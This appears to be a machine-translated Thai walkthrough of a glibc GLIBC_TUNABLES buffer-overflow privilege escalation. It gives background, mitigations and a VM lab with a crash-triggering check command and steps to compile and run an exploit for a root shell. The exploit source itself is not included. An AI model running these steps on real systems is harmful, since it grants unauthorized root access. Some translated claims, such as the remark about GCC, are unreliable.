ไลบรารี GNU C (GLIBC) ทำหน้าที่เป็นไลบรารี C ในระบบ GNU และเป็นส่วนประกอบสำคัญของระบบที่ใช้ Linux ที่แกนกลางของมัน GLIBC กำหนดฟังก์ชั่นที่จำเป็นสำหรับโปรแกรมรวมถึงการโทรระบบและฟังก์ชั่นทั่วไปเช่น Open, Malloc, Printf และ Exit Dynamic Loader ซึ่งเป็นองค์ประกอบสำคัญของ GLIBC มีบทบาทสำคัญในการเตรียมและดำเนินการโปรแกรมโดยการจัดการไลบรารีที่ใช้ร่วมกันและเชื่อมโยงพวกเขาในเวลาทำงาน
แนะนำให้ผู้ใช้เพิ่มขีดความสามารถโดยไม่ต้องคอมไพล์ใหม่ตัวแปรสภาพแวดล้อม GLIBC_TUNABLES ช่วยให้ผู้ใช้แก้ไขพฤติกรรมของ Glibc ที่รันไทม์ มันมีวิธีการปรับพารามิเตอร์ประสิทธิภาพและพฤติกรรมที่มีผลต่อการเริ่มต้นแอปพลิเคชัน
ช่องโหว่บัฟเฟอร์ล้นในการประมวลผลของ Loader แบบไดนามิกของ GLIBC_TUNABLES มีความเสี่ยงด้านความปลอดภัยที่สำคัญ การแสวงหาผลประโยชน์มอบสิทธิพิเศษในระดับสูงซึ่งอาจนำไปสู่การเข้าถึงรากเต็มรูปแบบ การเอารัดเอาเปรียบที่ประสบความสำเร็จในการแจกแจงครั้งสำคัญเช่น Fedora, Ubuntu และ Debian เน้นย้ำถึงความรุนแรงและผลกระทบอย่างกว้างขวาง
การใช้ในทางที่ผิดหรือการแสวงประโยชน์จากช่องโหว่นี้สามารถส่งผลกระทบต่อประสิทธิภาพของระบบความน่าเชื่อถือและความปลอดภัย ในขณะที่รายละเอียดการหาประโยชน์ถูกระงับความเสี่ยงใกล้เข้ามาเนื่องจากบัฟเฟอร์ล้นสามารถเปลี่ยนเป็นการโจมตีแบบข้อมูลได้อย่างรวดเร็ว การแจกแจง Linux ยอดนิยมโดยใช้ GLIBC อาจมีความอ่อนไหวโดยเน้นถึงความจำเป็นในการรับรู้และบรรเทาผลกระทบอย่างรวดเร็ว
มอบหมาย: 3 ตุลาคม 2566
ประเภท: การเพิ่มสิทธิ์ในท้องถิ่น
เวอร์ชันที่ได้รับผลกระทบ: GLIBC 2.34 และใหม่กว่า
การแจกแจง: Rhel, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo และอื่น ๆ
อัพเกรด: ใช้การอัปเดต GLIBC ทันที
Monitor: รับทราบข้อมูลเกี่ยวกับคำแนะนำด้านความปลอดภัย
รีวิว: ประเมินการใช้งาน GLIBC_TUNABLES ในแอปพลิเคชัน
การตรวจสอบ: ตรวจสอบบันทึกระบบสำหรับกิจกรรมที่น่าสงสัย
Ubuntu 22.04 Ubuntu Glibc 2.35-0UBUNTU3.1 SU จาก Util-Linux 2.37.2 ASLR ON
ใช้ Ubuntu (เวอร์ชัน 22.04.1) ISO สำหรับการสร้างเครื่องเสมือน
หลังจากการติดตั้งที่ประสบความสำเร็จเราไม่จำเป็นต้องอัปเดตอะไรเลย แต่เราจะติดตั้งแพ็คเกจ GIT และ GNU Binutils เนื่องจากไม่พบในระบบและเมื่อคุณรวบรวมสคริปต์ Python ที่ใช้ประโยชน์คุณจะต้องเผชิญกับข้อผิดพลาด
โดยใช้คำสั่งเหล่านี้:
$ sudo apt install git
$ sudo apt install binutils
ตรวจสอบว่ามีช่องโหว่หรือไม่
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
ถ้ามันส่งออก
Segmentation fault (core dumped)
ก็จะมีความเสี่ยง
ตรวจสอบเวอร์ชันของ Dynamic Linker/Loader ซึ่งมักจะเชื่อมโยงกับไลบรารี GNU C (GLIBC)
$ ldd --version
เอาต์พุตจะให้รุ่นของ GLIBC
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
ตอนนี้เรารู้แล้วว่าเครื่องของเรามีความเสี่ยงและพร้อมที่จะเพิ่มสิทธิพิเศษของรูท
หมายเหตุ: เราไม่ควรติดตั้ง GCC ในเครื่องหากเราติดตั้งมันจะสูญเสียช่องโหว่ดังนั้นสคริปต์จะไม่ทำงาน
เนื่องจากเราไม่ได้ติดตั้ง GCC และเราจำเป็นต้องรวบรวมโปรแกรม C ใน Host Machine แล้วนำเข้าไปยัง Guest Machine
เราสามารถรวบรวมโปรแกรม C ด้วยคำสั่งนี้
$ gcc exploit.c -o (outputname)
หลังจากนำเข้าไฟล์เอาต์พุตของโปรแกรม C ยังนำเข้าสคริปต์ Python (genlib.py)
ตอนนี้รวบรวมสคริปต์ Python
$ python3 genlib.py
หลังจากรวบรวมโฟลเดอร์ '"' ถูกสร้างขึ้น
เราจะทำสิ่งนี้ในโฟลเดอร์ใน /TMP เพื่อให้ผู้ใช้สามารถเรียกใช้สคริปต์และโปรแกรม
ตอนนี้ในที่สุดเราจะดำเนินการโปรแกรมเพื่อเพิ่มสิทธิพิเศษรูท
$ ./(nameoftheprogram)
จะต้องใช้เวลาสักครู่และจะได้รับรูทเชลล์
ปลอดภัยที่จะเพิ่มขีดความสามารถไม่เอาเปรียบ!
ข้อมูลอ้างอิง: